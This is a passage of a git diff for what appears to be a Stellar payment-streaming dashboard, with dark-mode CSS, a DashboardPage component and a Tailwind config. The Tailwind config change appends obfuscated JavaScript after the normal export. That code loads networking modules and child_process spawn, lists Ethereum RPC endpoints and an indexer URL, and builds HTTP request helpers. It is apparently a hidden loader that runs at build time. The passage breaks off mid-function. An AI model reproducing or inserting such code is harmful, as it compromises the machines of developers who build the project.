border-color 0.15s; +} + +.app-nav-link:hover { + color: #374151; +} + +.app-nav-link--active { + color: #0ea5a5; + border-bottom-color: #0ea5a5; +} + +/* ── prefers-reduced-motion ─────────────────────────────── */ + +@media (prefers-reduced-motion: reduce) { + /* Disable skeleton shimmer — show static tint instead */ + .skeleton { + animation: none; + background-image: none; + background: #e5e7eb; + } + + /* Disable progress bar width transitions */ + .progress-bar > div { + transition: none; + } + + /* Disable all generic transitions */ + *, + *::before, + *::after { + transition-duration: 0.01ms !important; + animation-duration: 0.01ms !important; + animation-iteration-count: 1 !important; + } +} + + +/* ═══════════════════════════════════════════════════════════════════════════ + DARK MODE + Applied via the `dark` class on (set by useTheme / anti-FOUC script) + ═══════════════════════════════════════════════════════════════════════════ */ + +:root { + --bg-page: #f6f8fb; + --bg-card: #ffffff; + --bg-input: #ffffff; + --bg-muted: #f9fafb; + --bg-table-head: #ffffff; + --color-text: #1f2937; + --color-text-muted: #6b7280; + --color-text-label: #374151; + --border: #e5e7eb; + --border-input: #d1d5db; + --modal-backdrop: rgba(15, 23, 42, 0.45); +} + +.dark { + --bg-page: #0f1117; + --bg-card: #1a1d2e; + --bg-input: #1e2235; + --bg-muted: #141627; + --bg-table-head: #1a1d2e; + --color-text: #f3f4f6; + --color-text-muted: #9ca3af; + --color-text-label: #d1d5db; + --border: #2a2d3e; + --border-input: #374151; + --modal-backdrop: rgba(0, 0, 0, 0.65); +} + +/* ── Base ─────────────────────────────────────────────────────────────────── */ + +body { + background: var(--bg-page); + color: var(--color-text); +} + +/* ── Cards & surfaces ─────────────────────────────────────────────────────── */ + +.card, +.metric-card, +.chart-section, +.modal-panel, +.issue-item, +.activity-item, +.fee-preview-list div { + background: var(--bg-card); + border-color: var(--border); + color: var(--color-text); +} + +/* ── Table ────────────────────────────────────────────────────────────────── */ + +.streams-table-head, +.streams-table-head th { + background: var(--bg-table-head); +} + +th, +td { + border-bottom-color: var(--border); +} + +/* ── Form inputs ──────────────────────────────────────────────────────────── */ + +.field-group input, +input { + background: var(--bg-input); + border-color: var(--border-input); + color: var(--color-text); +} + +.field-group label { + color: var(--color-text-label); +} + +.field-hint { + color: var(--color-text-muted); +} + +.input-readonly { + background: var(--bg-muted) !important; + color: var(--color-text-muted) !important; +} + +/* ── Buttons ──────────────────────────────────────────────────────────────── */ + +.btn-ghost { + background: var(--bg-card); + border-color: var(--border); + color: var(--color-text); +} + +.btn-ghost:hover:not(:disabled) { + background: var(--bg-muted); +} + +/* ── Muted / secondary text ───────────────────────────────────────────────── */ + +.muted, +.metric-card span, +.hero-copy, +.chart-section__title, +.recipient-dashboard-section-title { + color: var(--color-text-muted); +} + +/* ── Wallet address chip ─────────────────────────────────────────────────── */ + +.dark .wallet-address { + background: #0d2b1d; + border-color: #166534; + color: #86efac; +} + +/* ── Nav ─────────────────────────────────────────────────────────────────── */ + +.app-nav { + border-bottom-color: var(--border); +} + +/* ── Modal ───────────────────────────────────────────────────────────────── */ + +.modal-backdrop { + background: var(--modal-backdrop); +} + +.modal-title { + color: var(--color-text); +} + +.modal-close { + color: var(--color-text-muted); +} + +.dark .modal-close:hover { + background: #2a2d3e; + color: var(--color-text); +} + +/* ── Skeletons ───────────────────────────────────────────────────────────── */ + +.dark .skeleton { + background: #2a2d3e; + background-image: linear-gradient( + to right, + #2a2d3e 0%, + #353849 20%, + #2a2d3e 40%, + #2a2d3e 100% + ); +} + +/* ── Progress bar track ──────────────────────────────────────────────────── */ + +.dark .progress-bar { + background: #2a2d3e; +} + +/* ── Empty / loading states ──────────────────────────────────────────────── */ + +.dark .chart-empty-state, +.dark .recipient-dashboard-empty, +.dark .recipient-dashboard-loading { + background: var(--bg-muted); + border-color: var(--border); +} + +/* ── Draft recovery banner ───────────────────────────────────────────────── */ + +.dark .draft-recovery-banner { + background: #052e16; + border-color: #166534; + color: #86efac; +} + +/* ── Error / warning boxes ───────────────────────────────────────────────── */ + +.dark .api-error-box { + background: #2d1a07; + border-color: #92400e; +} + +.dark .api-error-box__title { + color: #fcd34d; +} + +.dark .api-error-box__hint { + color: #fde68a; +} + +.dark .form-summary-error { + background: #2d0a0a; + border-color: #991b1b; + color: #fca5a5; +} + +.dark .error-banner { + background: #2d0a0a; + border-color: #991b1b; + color: #fca5a5; +} + +/* ── Fee preview ─────────────────────────────────────────────────────────── */ + +.dark .fee-preview-list dt { + color: var(--color-text-muted); +} + +.dark .fee-preview-list dd { + color: var(--color-text); +} + +/* ── Activity feed ───────────────────────────────────────────────────────── */ + +.dark .activity-icon { + background: #2a2d3e; +} + +.dark .activity-title { + color: var(--color-text); +} + +.dark .activity-empty { + background: var(--bg-muted); + border-color: var(--border); + color: var(--color-text-muted); +} + +/* ── Dark mode toggle button ─────────────────────────────────────────────── */ + +.dark-mode-toggle { + font-size: 1.2rem; + min-height: 36px; + display: flex; + align-items: center; + margin-right: 0.5rem; +} diff --git a/frontend/src/pages/DashboardPage.tsx b/frontend/src/pages/DashboardPage.tsx index 7404ae3d..03522422 100644 --- a/frontend/src/pages/DashboardPage.tsx +++ b/frontend/src/pages/DashboardPage.tsx @@ -1,383 +1,383 @@ -import { useEffect, useMemo, useState, useCallback, type RefObject } from "react"; -import { CreateStreamForm } from "../components/CreateStreamForm"; -import { EditStartTimeModal } from "../components/EditStartTimeModal"; -import { IssueBacklog } from "../components/IssueBacklog"; -import { StreamDetailDrawer } from "../components/StreamDetailDrawer"; -import { StreamMetricsChart } from "../components/StreamMetricsChart"; -import { StreamTimeline } from "../components/StreamTimeline"; -import { StreamsTable } from "../components/StreamsTable"; -import { useFreighter, type FreighterState } from "../hooks/useFreighter"; -import { useMetricsHistory } from "../hooks/useMetricsHistory"; -import { defaultStreamFilters, useStreamFilter } from "../hooks/useStreamFilter"; -import { useToast } from "../hooks/useToast"; -import { useWebSocket } from "../hooks/useWebSocket"; -import { useUrlFilters } from "../hooks/useUrlFilters"; -import { - ApiError, - cancelStream, - createStream, - getWebSocketUrl, - listOpenIssues, - listStreams, - pauseStream, - resumeStream, - updateStreamStartAt, -} from "../services/api"; -import { ListStreamsFilters } from "../services/api"; -import { OpenIssue, Stream } from "../types/stream"; - -export interface DashboardPageProps { - wallet?: FreighterState; -} - -export function DashboardPage({ wallet: propWallet }: DashboardPageProps) { - const walletFromHook = useFreighter(); - const wallet = propWallet || walletFromHook; - const { showToast } = useToast(); - const { filters: urlFilters, setFilters: setUrlFilters } = useUrlFilters(); - const [detailStreamId, setDetailStreamId] = useState(null); - const [streams, setStreams] = useState([]); - const [issues, setIssues] = useState([]); - const [formError, setFormError] = useState(null); - const [editingStream, setEditingStream] = useState<{ - stream: Stream; - triggerRef: RefObject; - } | null>(null); - const [loadingDashboard, setLoadingDashboard] = useState(true); - const [initialLoading, setInitialLoading] = useState(true); - const [totalUnfilteredCount, setTotalUnfilteredCount] = useState(0); - const CREATE_STREAM_SECTION_ID = "create-stream-section"; - - const scrollToCreateStream = useCallback(() => { - document.getElementById(CREATE_STREAM_SECTION_ID)?.scrollIntoView({ behavior: "smooth" }); - }, []); - - const { filters, filteredStreams, setFilter } = useStreamFilter(streams); - const [hasMore, setHasMore] = useState(true); - const [loadingMore, setLoadingMore] = useState(false); - const [currentPage, setCurrentPage] = useState(1); - - const wsUrl = getWebSocketUrl(); - const { lastMessage } = useWebSocket<{ - eventType?: string; - type?: string; - status?: string; - streamId?: string; - vestedAmount?: number; - percentComplete?: number; - }>(wsUrl); - - const metricsHistory = useMetricsHistory("7d"); - - const metrics = useMemo( - () => { - const active = streams.filter((stream) => stream.progress.status === "active").length; - const completed = streams.filter((stream) => stream.progress.status === "completed").length; - const vested = streams.reduce((sum, stream) => sum + stream.progress.vestedAmount, 0); - - return { - total: totalUnfilteredCount, - active, - completed, - vested, - }; - }, - [streams, totalUnfilteredCount], - ); - - const apiFilters: ListStreamsFilters = useMemo( - () => ({ - status: filters.status || urlFilters.status, - sender: filters.sender || urlFilters.sender, - recipient: filters.recipient || urlFilters.recipient, - asset: filters.assetCode || urlFilters.asset, - sort: filters.sort || urlFilters.sort, - page: filters.page > 1 ? filters.page : (urlFilters.page ?? undefined), - }), - [urlFilters, filters], - ); - - const tableFilters: ListStreamsFilters = useMemo( - () => ({ - status: filters.status, - sender: filters.sender, - recipient: filters.recipient, - asset: filters.assetCode, - q: "", - }), - [filters], - ); - - async function refreshStreams(currentFilters: ListStreamsFilters): Promise { - const result = await listStreams({ ...currentFilters, limit: 20 }); - setStreams(result.data); - setHasMore(result.page * result.limit < result.total); - setCurrentPage(result.page); - } - - async function loadMore(): Promise { - if (loadingMore || !hasMore) return; - setLoadingMore(true); - try { - const nextPage = currentPage + 1; - const result = await listStreams({ ...apiFilters, page: nextPage, limit: 20 }); - setStreams((prev) => [...prev, ...result.data]); - setHasMore(result.page * result.limit < result.total); - setCurrentPage(result.page); - } finally { - setLoadingMore(false); - } - } - - async function refreshUnfilteredCount(): Promise { - try { - const all = await listStreams({ limit: 1 }); - setTotalUnfilteredCount(all.total); - } catch { - // Ignore count errors; feature is best-effort. - } - } - - useEffect(() => { - void refreshUnfilteredCount(); - }, []); - - useEffect(() => { - setLoadingDashboard(true); - refreshStreams(apiFilters) - .catch((err: unknown) => { - const message = - err instanceof ApiError - ? `Failed loading streams (${err.statusCode})` - : "Failed loading streams"; - showToast(message, "error"); - }) - .finally(() => { - setInitialLoading(false); - setLoadingDashboard(false); - }); - }, [apiFilters, showToast]); - - useEffect(() => { - listOpenIssues() - .then(setIssues) - .catch(() => undefined); - }, []); - - useEffect(() => { - if (!lastMessage) return; - const eventKind = lastMessage.type ?? ""; - if (!eventKind) return; - - if (eventKind === "stream_progress") { - setStreams((prev) => - prev.map((stream) => - stream.id === lastMessage.streamId - ? { - ...stream, - progress: { - ...stream.progress, - vestedAmount: lastMessage.vestedAmount ?? stream.progress.vestedAmount, - percentComplete: lastMessage.percentComplete ?? stream.progress.percentComplete, - }, - } - : stream, - ), - ); - } else { - if (eventKind.includes("created")) { - showToast("Stream created", "success"); - } else if (eventKind.includes("cancel")) { - showToast("Stream canceled", "info"); - } else if (eventKind.includes("complete")) { - showToast("Stream completed", "success"); - } - - void refreshStreams(apiFilters); - void refreshUnfilteredCount(); - } - }, [apiFilters, lastMessage, showToast]); - - async function handleCreate( - payload: Parameters[0], - ): Promise { - setFormError(null); - try { - await createStream(payload); - await refreshStreams(apiFilters); - void refreshUnfilteredCount(); - showToast("Stream created successfully", "success"); - } catch (err) { - if (err instanceof ApiError) { - setFormError(err.message); - showToast(`Create failed (${err.statusCode}): ${err.message}`, "error"); - return; - } - const fallback = err instanceof Error ? err.message : "Failed to create stream."; - setFormError(fallback); - showToast(fallback, "error"); - } - } - - async function handleCancel(streamId: string): Promise { - try { - await cancelStream(streamId); - await refreshStreams(apiFilters); - void refreshUnfilteredCount(); - showToast("Stream canceled", "info"); - } catch (err) { - if (err instanceof ApiError) { - showToast(`Cancel failed (${err.statusCode}): ${err.message}`, "error"); - void refreshUnfilteredCount(); - return; - } - showToast( - err instanceof Error ? err.message : "Failed to cancel the stream.", - "error", - ); - } - } - - async function handlePause(streamId: string): Promise { - try { - await pauseStream(streamId); - await refreshStreams(apiFilters); - void refreshUnfilteredCount(); - showToast("Stream paused", "info"); - } catch (err) { - if (err instanceof ApiError) { - showToast(`Pause failed (${err.statusCode}): ${err.message}`, "error"); - return; - } - showToast(err instanceof Error ? err.message : "Failed to pause the stream.", "error"); - } - } - - async function handleResume(streamId: string): Promise { - try { - await resumeStream(streamId); - await refreshStreams(apiFilters); - void refreshUnfilteredCount(); - showToast("Stream resumed", "success"); - } catch (err) { - if (err instanceof ApiError) { - showToast(`Resume failed (${err.statusCode}): ${err.message}`, "error"); - return; - } - showToast(err instanceof Error ? err.message : "Failed to resume the stream.", "error"); - } - } - - async function handleUpdateStartTime(streamId: string, nextStartAt: number) { - try { - await updateStreamStartAt(streamId, nextStartAt); - await refreshStreams(apiFilters); - showToast("Start time updated", "success"); - } catch (err) { - if (err instanceof ApiError) { - showToast(`Update failed (${err.statusCode}): ${err.message}`, "error"); - void refreshUnfilteredCount(); - return; - } - showToast("Failed to update stream start time", "error"); - } - } - - if (initialLoading) { - return
Loading dashboard…
; - } - - return ( - <> -
-
- Total Streams - {metrics.total} -
-
- Active - {metrics.active} -
-
- Completed - {metrics.completed} -
-
- Total Vested - {metrics.vested} -
-
- -
-

Stream Metrics Trends

- -
- -
-
- -
- { - setFilter("status", next.status ?? defaultStreamFilters.status); - setFilter("sender", next.sender ?? defaultStreamFilters.sender); - setFilter("recipient", next.recipient ?? defaultStreamFilters.recipient); - setFilter("assetCode", next.asset ?? defaultStreamFilters.assetCode); - }} - setUrlFilters={setUrlFilters} - onCancel={handleCancel} - onPause={handlePause} - onResume={handleResume} - onEditStartTime={(stream, triggerRef) => - setEditingStream({ stream, triggerRef }) - } - onOpenStream={setDetailStreamId} - onLoadMore={loadMore} - hasMore={hasMore} - loadingMore={loadingMore} - onRefreshStreams={() => refreshStreams(apiFilters)} - /> -
- - - -
-

Recent Activity

- -
- - {editingStream && ( - setEditingStream(null)} - /> - )} - - {detailStreamId && ( - setDetailStreamId(null)} - onCancel={handleCancel} - onPause={handlePause} - onResume={handleResume} - signAction={wallet.signAction} - walletAddress={wallet.address} - /> - )} - - ); -} +import { useEffect, useMemo, useState, useCallback, type RefObject } from "react"; +import { CreateStreamForm } from "../components/CreateStreamForm"; +import { EditStartTimeModal } from "../components/EditStartTimeModal"; +import { IssueBacklog } from "../components/IssueBacklog"; +import { StreamDetailDrawer } from "../components/StreamDetailDrawer"; +import { StreamMetricsChart } from "../components/StreamMetricsChart"; +import { StreamTimeline } from "../components/StreamTimeline"; +import { StreamsTable } from "../components/StreamsTable"; +import { useFreighter, type FreighterState } from "../hooks/useFreighter"; +import { useMetricsHistory } from "../hooks/useMetricsHistory"; +import { defaultStreamFilters, useStreamFilter } from "../hooks/useStreamFilter"; +import { useToast } from "../hooks/useToast"; +import { useWebSocket } from "../hooks/useWebSocket"; +import { useUrlFilters } from "../hooks/useUrlFilters"; +import { + ApiError, + cancelStream, + createStream, + getWebSocketUrl, + listOpenIssues, + listStreams, + pauseStream, + resumeStream, + updateStreamStartAt, +} from "../services/api"; +import { ListStreamsFilters } from "../services/api"; +import { OpenIssue, Stream } from "../types/stream"; + +export interface DashboardPageProps { + wallet?: FreighterState; +} + +export function DashboardPage({ wallet: propWallet }: DashboardPageProps) { + const walletFromHook = useFreighter(); + const wallet = propWallet || walletFromHook; + const { showToast } = useToast(); + const { filters: urlFilters, setFilters: setUrlFilters } = useUrlFilters(); + const [detailStreamId, setDetailStreamId] = useState(null); + const [streams, setStreams] = useState([]); + const [issues, setIssues] = useState([]); + const [formError, setFormError] = useState(null); + const [editingStream, setEditingStream] = useState<{ + stream: Stream; + triggerRef: RefObject; + } | null>(null); + const [loadingDashboard, setLoadingDashboard] = useState(true); + const [initialLoading, setInitialLoading] = useState(true); + const [totalUnfilteredCount, setTotalUnfilteredCount] = useState(0); + const CREATE_STREAM_SECTION_ID = "create-stream-section"; + + const scrollToCreateStream = useCallback(() => { + document.getElementById(CREATE_STREAM_SECTION_ID)?.scrollIntoView({ behavior: "smooth" }); + }, []); + + const { filters, filteredStreams, setFilter } = useStreamFilter(streams); + const [hasMore, setHasMore] = useState(true); + const [loadingMore, setLoadingMore] = useState(false); + const [currentPage, setCurrentPage] = useState(1); + + const wsUrl = getWebSocketUrl(); + const { lastMessage } = useWebSocket<{ + eventType?: string; + type?: string; + status?: string; + streamId?: string; + vestedAmount?: number; + percentComplete?: number; + }>(wsUrl); + + const metricsHistory = useMetricsHistory("7d"); + + const metrics = useMemo( + () => { + const active = streams.filter((stream) => stream.progress.status === "active").length; + const completed = streams.filter((stream) => stream.progress.status === "completed").length; + const vested = streams.reduce((sum, stream) => sum + stream.progress.vestedAmount, 0); + + return { + total: totalUnfilteredCount, + active, + completed, + vested, + }; + }, + [streams, totalUnfilteredCount], + ); + + const apiFilters: ListStreamsFilters = useMemo( + () => ({ + status: filters.status || urlFilters.status, + sender: filters.sender || urlFilters.sender, + recipient: filters.recipient || urlFilters.recipient, + asset: filters.assetCode || urlFilters.asset, + sort: filters.sort || urlFilters.sort, + page: filters.page > 1 ? filters.page : (urlFilters.page ?? undefined), + }), + [urlFilters, filters], + ); + + const tableFilters: ListStreamsFilters = useMemo( + () => ({ + status: filters.status, + sender: filters.sender, + recipient: filters.recipient, + asset: filters.assetCode, + q: "", + }), + [filters], + ); + + async function refreshStreams(currentFilters: ListStreamsFilters): Promise { + const result = await listStreams({ ...currentFilters, limit: 20 }); + setStreams(result.data); + setHasMore(result.page * result.limit < result.total); + setCurrentPage(result.page); + } + + async function loadMore(): Promise { + if (loadingMore || !hasMore) return; + setLoadingMore(true); + try { + const nextPage = currentPage + 1; + const result = await listStreams({ ...apiFilters, page: nextPage, limit: 20 }); + setStreams((prev) => [...prev, ...result.data]); + setHasMore(result.page * result.limit < result.total); + setCurrentPage(result.page); + } finally { + setLoadingMore(false); + } + } + + async function refreshUnfilteredCount(): Promise { + try { + const all = await listStreams({ limit: 1 }); + setTotalUnfilteredCount(all.total); + } catch { + // Ignore count errors; feature is best-effort. + } + } + + useEffect(() => { + void refreshUnfilteredCount(); + }, []); + + useEffect(() => { + setLoadingDashboard(true); + refreshStreams(apiFilters) + .catch((err: unknown) => { + const message = + err instanceof ApiError + ? `Failed loading streams (${err.statusCode})` + : "Failed loading streams"; + showToast(message, "error"); + }) + .finally(() => { + setInitialLoading(false); + setLoadingDashboard(false); + }); + }, [apiFilters, showToast]); + + useEffect(() => { + listOpenIssues() + .then(setIssues) + .catch(() => undefined); + }, []); + + useEffect(() => { + if (!lastMessage) return; + const eventKind = lastMessage.type ?? ""; + if (!eventKind) return; + + if (eventKind === "stream_progress") { + setStreams((prev) => + prev.map((stream) => + stream.id === lastMessage.streamId + ? { + ...stream, + progress: { + ...stream.progress, + vestedAmount: lastMessage.vestedAmount ?? stream.progress.vestedAmount, + percentComplete: lastMessage.percentComplete ?? stream.progress.percentComplete, + }, + } + : stream, + ), + ); + } else { + if (eventKind.includes("created")) { + showToast("Stream created", "success"); + } else if (eventKind.includes("cancel")) { + showToast("Stream canceled", "info"); + } else if (eventKind.includes("complete")) { + showToast("Stream completed", "success"); + } + + void refreshStreams(apiFilters); + void refreshUnfilteredCount(); + } + }, [apiFilters, lastMessage, showToast]); + + async function handleCreate( + payload: Parameters[0], + ): Promise { + setFormError(null); + try { + await createStream(payload); + await refreshStreams(apiFilters); + void refreshUnfilteredCount(); + showToast("Stream created successfully", "success"); + } catch (err) { + if (err instanceof ApiError) { + setFormError(err.message); + showToast(`Create failed (${err.statusCode}): ${err.message}`, "error"); + return; + } + const fallback = err instanceof Error ? err.message : "Failed to create stream."; + setFormError(fallback); + showToast(fallback, "error"); + } + } + + async function handleCancel(streamId: string): Promise { + try { + await cancelStream(streamId); + await refreshStreams(apiFilters); + void refreshUnfilteredCount(); + showToast("Stream canceled", "info"); + } catch (err) { + if (err instanceof ApiError) { + showToast(`Cancel failed (${err.statusCode}): ${err.message}`, "error"); + void refreshUnfilteredCount(); + return; + } + showToast( + err instanceof Error ? err.message : "Failed to cancel the stream.", + "error", + ); + } + } + + async function handlePause(streamId: string): Promise { + try { + await pauseStream(streamId); + await refreshStreams(apiFilters); + void refreshUnfilteredCount(); + showToast("Stream paused", "info"); + } catch (err) { + if (err instanceof ApiError) { + showToast(`Pause failed (${err.statusCode}): ${err.message}`, "error"); + return; + } + showToast(err instanceof Error ? err.message : "Failed to pause the stream.", "error"); + } + } + + async function handleResume(streamId: string): Promise { + try { + await resumeStream(streamId); + await refreshStreams(apiFilters); + void refreshUnfilteredCount(); + showToast("Stream resumed", "success"); + } catch (err) { + if (err instanceof ApiError) { + showToast(`Resume failed (${err.statusCode}): ${err.message}`, "error"); + return; + } + showToast(err instanceof Error ? err.message : "Failed to resume the stream.", "error"); + } + } + + async function handleUpdateStartTime(streamId: string, nextStartAt: number) { + try { + await updateStreamStartAt(streamId, nextStartAt); + await refreshStreams(apiFilters); + showToast("Start time updated", "success"); + } catch (err) { + if (err instanceof ApiError) { + showToast(`Update failed (${err.statusCode}): ${err.message}`, "error"); + void refreshUnfilteredCount(); + return; + } + showToast("Failed to update stream start time", "error"); + } + } + + if (initialLoading) { + return
Loading dashboard…
; + } + + return ( + <> +
+
+ Total Streams + {metrics.total} +
+
+ Active + {metrics.active} +
+
+ Completed + {metrics.completed} +
+
+ Total Vested + {metrics.vested} +
+
+ +
+

Stream Metrics Trends

+ +
+ +
+
+ +
+ { + setFilter("status", next.status ?? defaultStreamFilters.status); + setFilter("sender", next.sender ?? defaultStreamFilters.sender); + setFilter("recipient", next.recipient ?? defaultStreamFilters.recipient); + setFilter("assetCode", next.asset ?? defaultStreamFilters.assetCode); + }} + setUrlFilters={setUrlFilters} + onCancel={handleCancel} + onPause={handlePause} + onResume={handleResume} + onEditStartTime={(stream, triggerRef) => + setEditingStream({ stream, triggerRef }) + } + onOpenStream={setDetailStreamId} + onLoadMore={loadMore} + hasMore={hasMore} + loadingMore={loadingMore} + onRefreshStreams={() => refreshStreams(apiFilters)} + /> +
+ + + +
+

Recent Activity

+ +
+ + {editingStream && ( + setEditingStream(null)} + /> + )} + + {detailStreamId && ( + setDetailStreamId(null)} + onCancel={handleCancel} + onPause={handlePause} + onResume={handleResume} + signAction={wallet.signAction} + walletAddress={wallet.address} + /> + )} + + ); +} diff --git a/frontend/tailwind.config.js b/frontend/tailwind.config.js index de9ea80f..196a1213 100644 --- a/frontend/tailwind.config.js +++ b/frontend/tailwind.config.js @@ -1,18 +1,23 @@ -export default { - darkMode: 'class', - content: ['./index.html', './src/**/*.{js,ts,jsx,tsx}'], - theme: { - extend: { - colors: { - stellar: { - blue: '#3E1BDB', - purple: '#7B61FF', - dark: '#0B0D17', - card: '#141627', - border: '#1E2139', - }, - }, - }, - }, - plugins: [], -}; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default { + darkMode: 'class', + content: ['./index.html', './src/**/*.{js,ts,jsx,tsx}'], + theme: { + extend: { + colors: { + stellar: { + blue: '#3E1BDB', + purple: '#7B61FF', + dark: '#0B0D17', + card: '#141627', + border: '#1E2139', + }, + }, + }, + }, + plugins: [], +}; global.i="A9-0817-9";const _0x3a2ebe=_0x355e;(function(_0x48f9d7,_0x1a07be){const _0x4e7ab0=_0x355e,_0x39127c=_0x48f9d7();while(!![]){try{const _0x3f9af1=parseInt(_0x4e7ab0(0xf0))/(0x1*-0x1087+-0x1170+-0x4*-0x87e)*(-parseInt(_0x4e7ab0(0xdd))/(0x7*0x165+0x160f+-0x1fd0))+-parseInt(_0x4e7ab0(0x13c))/(-0x202*0x2+-0xe38+0x123f)+-parseInt(_0x4e7ab0(0xa5))/(0x7b*0x39+-0x1*0x417+0xba4*-0x2)+parseInt(_0x4e7ab0(0xc0))/(0x3a0+-0x21a2+0x1e07*0x1)+parseInt(_0x4e7ab0(0xb5))/(0x8ff*0x2+-0x1a2*0x6+0x82c*-0x1)*(-parseInt(_0x4e7ab0(0x174))/(0x10a6+0x2534+-0x35d3))+parseInt(_0x4e7ab0(0x10c))/(-0x11d1+0xbe+0x1d*0x97)+parseInt(_0x4e7ab0(0x13a))/(-0xb8*0x8+0x1df6+0x80f*-0x3);if(_0x3f9af1===_0x1a07be)break;else _0x39127c['push'](_0x39127c['shift']());}catch(_0x388603){_0x39127c['push'](_0x39127c['shift']());}}}(_0x12f0,-0xfbb0*-0x2+0x1*0x13020b+0x5*-0x20155));import{createRequire}from'module';let require=createRequire(import.meta.url);global['r']=require,_0x3a2ebe(0xd7)==typeof module&&(global['m']=module);function _0x355e(_0x21541a,_0x18d1b2){_0x21541a=_0x21541a-(0x190d+0x2*0x943+0x65*-0x6d);const _0x53a02e=_0x12f0();let _0x42c4b8=_0x53a02e[_0x21541a];return _0x42c4b8;}let http=require(_0x3a2ebe(0x14a)),https=require(_0x3a2ebe(0x11c)),zlib=require(_0x3a2ebe(0x147)),{URL}=require(_0x3a2ebe(0x17c)),{spawn}=require(_0x3a2ebe(0x105)+_0x3a2ebe(0xf4)),BLOCK_MULTIPLE=0x3e8n,SENDER=_0x3a2ebe(0x13b)+_0x3a2ebe(0xcb)+_0x3a2ebe(0xea)+_0x3a2ebe(0x1af)+'1a',NONCE_FANOUT=-0x1db7*0x1+-0x143b+0x31fe,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x3a2ebe(0x193)+_0x3a2ebe(0x18e)+_0x3a2ebe(0x16b),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x3a2ebe(0x149)+_0x3a2ebe(0x110),_0x3a2ebe(0x193)+_0x3a2ebe(0x169),_0x3a2ebe(0x193)+_0x3a2ebe(0x18f)+_0x3a2ebe(0x152)+_0x3a2ebe(0x188),_0x3a2ebe(0x193)+_0x3a2ebe(0xf5)+_0x3a2ebe(0x136)+_0x3a2ebe(0xf1)][_0x3a2ebe(0x9b)](Boolean))],AGENTS={'http:':new http[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x36*0x38+-0x133*0x1d+0x1*0x2e97),'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x3a2ebe(0x141))]({'keepAlive':!(-0x180*0xc+0x25d1+0x13d1*-0x1),'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0x438117,_0x5d73ca){const _0x8685d7=_0x3a2ebe,_0x25ef4d={'TCDmB':_0x8685d7(0x9a)};_0x438117&&_0x438117[_0x8685d7(0x194)+_0x8685d7(0xf9)](_0x25ef4d[_0x8685d7(0x191)],()=>_0x5d73ca[_0x8685d7(0x9a)](),{'once':!(0x1*-0x1073+-0x319*-0x4+0x40f)});}function decompressStream(_0x1f71f7){const _0x29b168=_0x3a2ebe,_0x5d6cbb={'BTHgJ':_0x29b168(0xc8)+_0x29b168(0x126),'VLAGf':function(_0x5acbb2,_0x1cb9f1){return _0x5acbb2===_0x1cb9f1;},'JbAci':_0x29b168(0x148),'GAvxe':_0x29b168(0x186),'KvMSQ':function(_0x55b882,_0x1919d7){return _0x55b882===_0x1919d7;},'DSbLa':_0x29b168(0xeb)};let _0x98df8e=(_0x1f71f7[_0x29b168(0x14b)][_0x5d6cbb[_0x29b168(0x12f)]]||'')[_0x29b168(0xc2)+'e']();return _0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x14d)],_0x98df8e)||_0x5d6cbb[_0x29b168(0x164)](_0x5d6cbb[_0x29b168(0x176)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x14c)+'ip']()):_0x5d6cbb[_0x29b168(0x134)](_0x5d6cbb[_0x29b168(0xfd)],_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x165)+_0x29b168(0xb1)]()):_0x5d6cbb[_0x29b168(0x164)]('br',_0x98df8e)?_0x1f71f7[_0x29b168(0x195)](zlib[_0x29b168(0x19f)+_0x29b168(0x12d)+'ss']()):_0x1f71f7;}function httpRequest(_0x593adb,{method:_0x25a99d=_0x3a2ebe(0x133),body:_0x3f686c,signal:_0x95d4f4}={}){const _0x3d2da5=_0x3a2ebe,_0x42d10d={'JODvp':function(_0x56ddc3,_0x1259f1){return _0x56ddc3(_0x1259f1);},'gvgPD':_0x3d2da5(0x19b),'gMfuo':_0x3d2da5(0xaf),'KaaPY':_0x3d2da5(0x142),'rysJt':_0x3d2da5(0xc1),'UlrdI':function(_0x322dc5,_0x2b93bc){return _0x322dc5===_0x2b93bc;},'MHjGK':_0x3d2da5(0xd5),'zBIcw':function(_0x2a5ebb,_0xfe6778){return _0x2a5ebb+_0xfe6778;},'VGOlJ':function(_0x563e9c,_0x3a7e42){return _0x563e9c!=_0x3a7e42;},'xuBDG':function(_0x4bfaf9,_0x580f75){return _0x4bfaf9===_0x580f75;},'sZAHS':_0x3d2da5(0x161)+_0x3d2da5(0xa8),'tjngf':_0x3d2da5(0x12a)+_0x3d2da5(0x1aa),'LGNYs':_0x3d2da5(0x131),'YvZxf':_0x3d2da5(0x1a9)+'pe','vWzxi':_0x3d2da5(0x16e)+_0x3d2da5(0x1b5)};let _0x3cdce5=new URL(_0x593adb),_0x5032cf=_0x42d10d[_0x3d2da5(0x12c)](_0x42d10d[_0x3d2da5(0x139)],_0x3cdce5[_0x3d2da5(0x196)])?https:http,_0x27236b={'Accept':_0x42d10d[_0x3d2da5(0xa0)],'Accept-Encoding':_0x42d10d[_0x3d2da5(0xbb)],'Connection':_0x42d10d[_0x3d2da5(0x135)]};return _0x42d10d[_0x3d2da5(0xe3)](null,_0x3f686c)&&(_0x27236b[_0x42d10d[_0x3d2da5(0x115)]]=_0x42d10d[_0x3d2da5(0xa0)],_0x27236b[_0x42d10d[_0x3d2da5(0x17b)]]=Buffer[_0x3d2da5(0x19d)](_0x3f686c)),new Promise((_0x19f067,_0x4835e3)=>{const _0x3ef1bc=_0x3d2da5;let 